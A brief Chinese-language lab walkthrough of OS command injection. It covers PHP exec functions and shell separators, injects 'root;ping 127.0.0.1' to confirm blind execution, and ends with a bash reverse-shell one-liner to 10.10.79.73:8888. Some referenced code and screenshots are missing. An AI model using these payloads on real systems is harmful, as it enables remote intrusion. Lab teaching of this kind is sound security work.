Injection
操作系统命令注入演练。演示OS命令注入
命令注入也称为命令注入
PHP常见的执行命令的函数:system() ; exec() ; shell_exec() ; popen() ; passthru() 等等。函数的返回结果不同,各位自行查阅。
Windows和Linux都支持的命令连接符
cmd1 | cmd2 只执行cmd2
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux还支持
分号(;)
cmd1 ; cmd2按顺序依次执行,先执行cmd1再执行cmd2
这是一个命令执行的页面
后端代码大概是这样
命令是否被执行可以使用ping命令控制次数查看页面的延迟(加载)时间判断。
Linux可以直接ping,没有默认次数,页面会一直加载,也可以加-c参数指定次数。
Windows默认次数为4,可以加-n参数指定ping的次数 如:ping 127.0.0.1 -n 10
靶场服务器系统为Linux,这里用的是
root;ping 127.0.0.1
页面一直是加载状态
如果执行的命令没有回显,可以在网站路径下生成一个txt文件,
用>把执行的结果重定向到txt文件上查看执行的结果
查看内核
反弹shell
服务器上的大多数nc都没有-c、-e参数
这边用bash反弹shell
bash -c 'bash -i >&/dev/tcp/10.10.79.73/8888 0>&1'